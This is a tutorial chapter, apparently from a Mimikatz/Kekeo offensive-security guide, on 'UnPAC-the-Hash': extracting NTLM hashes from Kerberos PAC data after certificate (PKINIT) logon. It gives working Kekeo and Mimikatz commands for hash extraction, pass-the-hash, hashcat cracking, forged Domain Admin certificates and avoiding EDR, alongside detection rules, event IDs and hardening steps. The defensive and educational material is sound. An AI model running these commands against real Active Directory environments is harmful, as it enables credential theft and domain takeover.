Skip to content

Chapter 35: PKI - PAC NTLM (Extracting NTLM from Certificates)

Introduction

In the quest for a more secure domain, many organizations move to certificates and smart cards, thinking they've finally left the weaknesses of NTLM behind. But Microsoft has a long memory when it comes to backward compatibility. If you log in with a certificate (PKINIT), you don't provide a password, which means you don't have an NTLM hash. This breaks access to legacy file shares and old applications. To fix this, Microsoft added a "compatibility bridge": a way for a certificate-authenticated user to get their NTLM hash back from the domain controller.

In my experience, this is one of the most elegant "Identity Transformation" attacks. I call it "UnPAC-the-Hash" because we're unpacking the NTLM hash from the Privilege Attribute Certificate (PAC). By using a specialized User-to-User (U2U) request, we can tell the Domain Controller, "I logged in with a certificate, but I need to talk to an old NTLM server. Please give me my hash." The DC complies by embedding the NTLM hash in a special structure called PAC_CREDENTIAL_INFO.

What makes this technique operationally significant is that it allows you to obtain a user's NTLM hash without ever touching LSASS. No memory scanning, no credential dumping—just legitimate Kerberos protocol traffic. The hash comes encrypted in a Kerberos ticket, delivered by the domain controller itself. In this chapter, we're going to examine how Kekeo's tgt::pac command automates this entire flow, the protocol-level details that make it work, and the detection signatures that defenders can use to spot it.

PAC NTLM Concept

Technical Foundation: The Compatibility Bridge

The Problem: Passwordless vs. Legacy

When you use a smart card or certificate for authentication, the domain controller validates your certificate and hands you a TGT. But there's no password involved in this process. Your workstation never sees or stores your NTLM hash because there was no password to hash.

This creates a problem: what happens when you try to access a legacy system that only speaks NTLM? SMB file shares on older servers, third-party applications, network appliances—countless systems still require NTLM authentication. Without your hash, you can't authenticate to them.

The Microsoft Solution: NTLM Supplemental Credential

Microsoft's solution was to extend Kerberos to provide backward compatibility. When a user authenticates with PKINIT and later needs to access an NTLM-only resource, Windows can request a special service ticket that contains the user's NTLM hash in its PAC structure.

The Flow:

StepProtocolDescription
1AS-REQ (PKINIT)User authenticates to KDC with certificate
2AS-REPKDC returns TGT encrypted with user's session key
3TGS-REQ (U2U)User requests service ticket for themselves with ENC-TKT-IN-SKEY
4TGS-REP (with PAC)KDC returns ticket containing PAC_CREDENTIAL_INFO with NTLM hash

User-to-User (U2U) Authentication

U2U is a Kerberos extension (RFC 4120 Section 3.7) that allows a client to request a service ticket encrypted with another user's TGT session key instead of the service's long-term key. In our case, we request a service ticket for ourselves.

Key Elements:

ElementValuePurpose
ENC-TKT-IN-SKEY flag0x00000040Indicates U2U request
Service NameUser's own principalSelf-targeted ticket request
Additional-ticketUser's TGTProvides session key for encryption

When the KDC receives a U2U request with the ENC-TKT-IN-SKEY flag set and the service name matching the requester, it includes the PAC_CREDENTIAL_INFO structure containing the NTLM hash.

PAC_CREDENTIAL_INFO Structure

The NTLM hash is embedded in the PAC inside a structure called PAC_CREDENTIAL_INFO. This structure contains encrypted supplemental credentials.

Structure Layout:

PAC_CREDENTIAL_INFO ::= SEQUENCE {
    Version          : ULONG (0)
    EncryptionType   : ULONG (0x17 = RC4-HMAC or 0x12 = AES256-CTS)
    SerializedData   : OCTET STRING (Encrypted NTLM_SUPPLEMENTAL_CREDENTIAL)
}

NTLM_SUPPLEMENTAL_CREDENTIAL ::= SEQUENCE {
    Version          : ULONG (0)
    Flags            : ULONG
    LmPassword       : OCTET STRING[16] (usually zeros)
    NtPassword       : OCTET STRING[16] (the NTLM hash we want)
}

The SerializedData is encrypted with the user's Kerberos session key. Once decrypted, we have direct access to the NT hash.

Why This Works

The entire mechanism exists for legitimate backward compatibility. Microsoft couldn't break NTLM-dependent applications when introducing smart card logon. The assumption was that only the legitimate user (who proved their identity with a certificate) would ever make this request. What Microsoft didn't anticipate was that attackers who steal certificates can also use this "feature."

Command Reference

tgt::pac - The NTLM Extractor

Kekeo's tgt::pac command automates the entire UnPAC-the-Hash flow in a single command. It performs PKINIT authentication, makes the U2U request, and decrypts the PAC to extract the NTLM hash.

Parameters for tgt::pac:

ParameterDescription
/subject:<UPN>Subject or User Principal Name of the certificate to use
/pfx:<file>Path to PFX file containing certificate and private key
/pfxpassword:<pass>Password for the PFX file (if protected)
/pin:<PIN>Smart card PIN (if using hardware token)
/credOnly show NTLM credential in PAC (clean output)
/kdc:<FQDN>Specific KDC to target (auto-detected if omitted)
/domain:<FQDN>Target domain FQDN
/castore:<store>CA store if using local certificate
/caname:<name>CA name if using local certificate
/systemstore:<store>System store location (default: CURRENT_USER)
/store:<name>Certificate store name (default: My)
/dhUse Diffie-Hellman parameters for PKINIT request

Basic Usage - Extract NTLM from PFX:

kekeo # tgt::pac /subject:bthomas@acmelabs.pvt /pfx:bthomas.pfx /cred

tgt::pac Basic Example

Full Output Example:

kekeo # tgt::pac /subject:bthomas@acmelabs.pvt /pfx:bthomas.pfx
Realm        : acmelabs.pvt (acmelabs)
User         : bthomas@acmelabs.pvt (bthomas)
CName        : bthomas@acmelabs.pvt     [KRB_NT_ENTERPRISE_PRINCIPAL (10)]
SName        : krbtgt/acmelabs.pvt      [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : RSA
[kdc] name: SDDC01.acmelabs.pvt (auto)
[kdc] addr: 10.1.1.4 (auto)
  [0] NTLM
  NTLM: 7a118f7a2f2b34d61fa19b840b4f5203

tgt::pac Full Output

With /cred Flag (Clean Output):

kekeo # tgt::pac /subject:bthomas@acmelabs.pvt /pfx:bthomas.pfx /cred
  [0] NTLM
  NTLM: 7a118f7a2f2b34d61fa19b840b4f5203

tgt::pac Credential Output

Using Smart Card:

kekeo # tgt::pac /subject:cperez@acmelabs.pvt /pin:12345678 /cred

Using Certificate from Store:

kekeo # tgt::pac /subject:administrator@acmelabs.pvt /systemstore:CURRENT_USER /store:My /cred

Targeting Specific KDC:

kekeo # tgt::pac /subject:alice@corp.acme.com /pfx:alice.pfx /kdc:DC01.corp.acme.com /cred

tgt::ask - Alternative Approach

While tgt::pac is purpose-built for NTLM extraction, you can also use tgt::ask to get a TGT and then manually extract the PAC.

Parameters for tgt::ask (relevant subset):

ParameterDescription
/subject:<UPN>UPN of certificate to use
/pfx:<file>PFX file path
/pfxpassword:<pass>PFX password
/pttPass the ticket (inject into session)

Example:

kekeo # tgt::ask /subject:bthomas@acmelabs.pvt /pfx:bthomas.pfx /ptt

This gives you a TGT but doesn't automatically extract the NTLM hash. Use tgt::pac for that purpose.

Attack Scenarios

Scenario 1: The Certificate-to-Hash Pipeline

This is the core use case: you have a stolen certificate and want the user's NTLM hash without touching LSASS.

Step 1 - Obtain Certificate (from Chapter 37):

mimikatz # crypto::capi
mimikatz # crypto::certificates /export

Step 2 - Extract NTLM Hash:

kekeo # tgt::pac /subject:bthomas@acmelabs.pvt /pfx:bthomas.pfx /cred
  [0] NTLM
  NTLM: 7a118f7a2f2b34d61fa19b840b4f5203

Step 3 - Pass-the-Hash:

mimikatz # sekurlsa::pth /user:bthomas /domain:acmelabs.pvt /ntlm:7a118f7a2f2b34d61fa19b840b4f5203 /run:cmd.exe

Now you have a shell running as bthomas, authenticated via NTLM, using a hash extracted from their certificate.

Scenario 2: Offline Password Cracking

Because tgt::pac gives you the raw NTLM hash, you can crack it offline. This is valuable when you need the plaintext password (for VPNs, web apps, or personal accounts with password reuse).

Step 1 - Extract Multiple Hashes:

bash
# For each stolen certificate
kekeo # tgt::pac /subject:alice@corp.acme.com /pfx:alice.pfx /cred >> hashes.txt
kekeo # tgt::pac /subject:bob@corp.acme.com /pfx:bob.pfx /cred >> hashes.txt
kekeo # tgt::pac /subject:charlie@corp.acme.com /pfx:charlie.pfx /cred >> hashes.txt

Step 2 - Format for Hashcat:

bash
# Convert to username:hash format
alice:aad3b435b51404eeaad3b435b51404ee:7a118f7a2f2b34d61fa19b840b4f5203

Step 3 - Crack:

bash
hashcat -m 1000 hashes.txt rockyou.txt

Scenario 3: Smart Card PIN Extraction Follow-up

If you've extracted a smart card PIN from LSASS (Chapter 39), you can use the physical card to get the NTLM hash.

Workflow:

  1. Extract PIN from LSASS: sekurlsa::kerberos
  2. Use PIN with tgt::pac:
kekeo # tgt::pac /subject:cperez@acmelabs.pvt /pin:12345678 /cred

Scenario 4: Domain Admin Hash via Golden Certificate

Combine with the Golden Certificate attack (Chapter 36) for maximum impact.

Step 1 - Forge DA Certificate:

mimikatz # crypto::scauth /caname:LabRootCA1 /upn:administrator@acmelabs.pvt /pfx:da_forged.pfx /crldp:...

Step 2 - Extract DA NTLM Hash:

kekeo # tgt::pac /subject:administrator@acmelabs.pvt /pfx:da_forged.pfx /cred
  [0] NTLM
  NTLM: fc525c9683e8fe067095ba2ddc971889

Now you have the Domain Admin's NTLM hash without ever logging into the domain as DA or touching a DC's LSASS.

Scenario 5: Lateral Movement Without LSASS

This technique is particularly valuable when EDR is aggressively monitoring LSASS access.

Traditional Approach (noisy):

mimikatz # sekurlsa::logonpasswords
# Triggers EDR alerts for LSASS access

UnPAC-the-Hash Approach (quieter):

# Steal certificate (various methods)
# Extract hash remotely
kekeo # tgt::pac /subject:target@domain.com /pfx:target.pfx /cred
# No LSASS access required

Detection - The SOC View

Kerberos Event Correlation

The UnPAC-the-Hash attack has a distinctive two-step pattern in the Windows Security log.

Step 1 - PKINIT Authentication (Event ID 4768):

FieldValueSignificance
Event ID4768TGT Request
PreAuthType16PKINIT (certificate-based)
CertIssuerNameCA DNIssuing CA
CertSerialNumberHexCertificate serial
IpAddressClient IPSource of request

Step 2 - U2U Request (Event ID 4769):

FieldValueSignificance
Event ID4769Service Ticket Request
ServiceNameSame as AccountSelf-targeted request
TicketOptions0x40810000Contains ENC-TKT-IN-SKEY (0x40)
TicketEncryptionType0x12 or 0x17AES or RC4

Detection Logic

Rule: PKINIT followed by Self-Targeted U2U

Event 4768 (PreAuthType = 16)
  FOLLOWED BY (within 5 seconds)
Event 4769 (ServiceName = AccountName AND TicketOptions contains 0x40)
  WHERE Source IP is identical

Specific Indicators

  1. ENC-TKT-IN-SKEY Flag: The 0x40 flag in TicketOptions is the protocol-level indicator of U2U. While U2U has legitimate uses, self-targeted U2U after PKINIT is highly suspicious.

  2. Timing: Legitimate U2U requests for backward compatibility happen organically during user workflows. tgt::pac generates the request immediately after PKINIT.

  3. Source Process: If you have endpoint telemetry, look for kekeo.exe or processes making Kerberos requests shortly after loading PFX files.

Network Detection

  1. Kerberos Traffic Analysis: The TGS-REQ with U2U flag set has a distinctive structure. IDS rules can flag AS-REQ (PKINIT) followed immediately by TGS-REQ (U2U) from the same source.

Baseline Anomalies

  1. User Behavior: Build a baseline of which users authenticate with certificates. If a user who normally uses password auth suddenly appears with PKINIT, investigate.

  2. Certificate Usage Patterns: Track which certificates are used for authentication. A certificate being used from an unexpected IP or machine is suspicious.

Defensive Strategies

  1. Add Sensitive Accounts to Protected Users Group: This is the definitive defense. Members of the Protected Users group cannot use NTLM authentication. Because of this, the KDC will not populate the PAC_CREDENTIAL_INFO structure for them. The attack fails with an error.

    powershell
    Add-ADGroupMember -Identity "Protected Users" -Members "administrator", "krbtgt", "domain admins"
  2. Disable NTLM Domain-Wide: If your environment doesn't require NTLM, disable it entirely via Group Policy. Without NTLM, there's no need for the compatibility bridge.

    Policy Path: Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options

    SettingValue
    Network security: Restrict NTLM: Incoming NTLM trafficDeny all accounts
    Network security: Restrict NTLM: Outgoing NTLM trafficDeny all
  3. Short Certificate Lifetimes: Reduce the validity period of user certificates. A stolen certificate with a 90-day lifetime is less valuable than one valid for a year.

  4. Monitor Certificate Enrollment: Track who requests certificates and from where. Unusual enrollment patterns may indicate certificate theft preparation.

  5. Enable Advanced Audit Policies: Ensure Kerberos authentication events (4768, 4769) include full details:

    auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
    auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
  6. Implement Certificate Revocation Monitoring: If a certificate is suspected compromised, revoke it immediately. Monitor CRL checks for revoked certificates being presented.

  7. Use Credential Guard on Sensitive Systems: While Credential Guard doesn't prevent this specific attack, it protects against the certificate theft that precedes it.

  8. Segment Smart Card Users: Create separate OUs and policies for smart card users. Apply additional monitoring and restrictions to these accounts.

NTLM Extraction Methods Comparison

MethodRequiresTouches LSASSNetwork TrafficDetection Difficulty
tgt::pac (UnPAC-the-Hash)Certificate + private keyNoKerberos AS/TGSMedium (U2U correlation)
sekurlsa::logonpasswordsLocal admin + SeDebugPrivilegeYesNoneLow (LSASS access alerts)
DCSyncReplication rightsNoRPC/DRSUAPILow (replication monitoring)
NTDS.dit extractionDomain adminNoNone (offline)Medium (file access)
KerberoastingDomain userNoKerberos TGSMedium (RC4 TGS requests)
AS-REP RoastingDomain userNoKerberos ASLow (pre-auth disabled accounts)

Operational Considerations

  1. Certificate Acquisition: The attack requires a valid certificate with private key. Methods include:

    • crypto::certificates /export from compromised workstations
    • DPAPI blob decryption for exported PFX files
    • Smart card PIN extraction + physical card access
  2. Protected Users Detection: Before running tgt::pac, check if the target is in Protected Users:

    powershell
    Get-ADGroupMember "Protected Users" | Select-Object Name

    If they are, the attack will fail with a KDC error.

  3. Error Handling: Common errors and causes:

    ErrorCause
    KDC_ERR_POLICYUser in Protected Users group
    KDC_ERR_CLIENT_REVOKEDCertificate revoked
    KDC_ERR_CERTIFICATE_MISMATCHUPN doesn't match certificate
    KDC_ERR_PREAUTH_FAILEDInvalid certificate or key
  4. PFX Password Handling: If the PFX has a password, you must provide it:

    kekeo # tgt::pac /subject:user@domain.com /pfx:user.pfx /pfxpassword:P@ssw0rd /cred
  5. Network Considerations: The attack requires network access to a domain controller on port 88 (Kerberos). Ensure your attack machine can reach the KDC.

  6. Timestamp Considerations: Unlike PKIMustiness (Chapter 38), the U2U request doesn't have strict time constraints. It uses real-time communication with the KDC.

  7. Multiple Domain Support: When targeting users in child domains or trusted domains, specify the KDC explicitly:

    kekeo # tgt::pac /subject:user@child.domain.com /pfx:user.pfx /kdc:DC01.child.domain.com /cred
  8. Hash Format: The extracted hash is the raw NT hash (16 bytes, 32 hex characters). It can be used directly with Pass-the-Hash tools or formatted for cracking.

Practical Lab Exercises

  1. The Basic Extraction: In your lab, export a user's certificate to PFX using Mimikatz. Use Kekeo's tgt::pac with the /cred flag to extract the NTLM hash.

  2. The Verification: Take the extracted hash and use Mimikatz's sekurlsa::pth to spawn a process as that user. Access a network resource to confirm the hash works.

  3. The Protected Users Test: Add your test user to the "Protected Users" group. Wait for replication (or force it with repadmin /syncall). Try tgt::pac again and document the error message.

  4. The Event Hunt: After running tgt::pac, go to your domain controller's Security log. Find the Event ID 4768 (PKINIT) and the Event ID 4769 (U2U). Note the TicketOptions value and confirm the 0x40 flag is present.

  5. The Detection Rule: Write a SIEM correlation rule that alerts when Event 4768 with PreAuthType 16 is followed by Event 4769 with TicketOptions containing 0x40, where ServiceName equals AccountName.

  6. The Comparison: Extract the same user's hash using both tgt::pac and sekurlsa::logonpasswords. Compare the results to confirm they're identical.

  7. The Smart Card Test (if available): If you have a smart card with the user's certificate, use tgt::pac /pin: to extract the hash directly from the hardware token.

  8. The Audit Trail: Enable advanced Kerberos auditing and run the attack again. Document all events generated and their timestamps for incident response training.

Summary

The UnPAC-the-Hash technique exploits Microsoft's backward compatibility bridge between certificates and NTLM.

  • PAC_CREDENTIAL_INFO is the structure within Kerberos tickets that contains the encrypted NTLM hash.
  • U2U (User-to-User) authentication with the ENC-TKT-IN-SKEY flag triggers the KDC to include the hash.
  • tgt::pac automates the entire flow: PKINIT authentication, U2U request, PAC decryption, and hash extraction.
  • No LSASS access is required, making this technique valuable against EDR-protected environments.
  • Detection relies on correlating PKINIT (Event 4768) with self-targeted U2U requests (Event 4769 with 0x40 flag).
  • Protected Users group membership is the definitive defense—the KDC won't populate PAC_CREDENTIAL_INFO for these accounts.
  • Certificate theft is the prerequisite; protecting certificates protects against this attack.
  • Offline cracking is possible because you receive the raw NTLM hash.

Next: Chapter 36: PKI - Abusing Certificate AuthoritiesPrevious: Chapter 34: PKI - PKINIT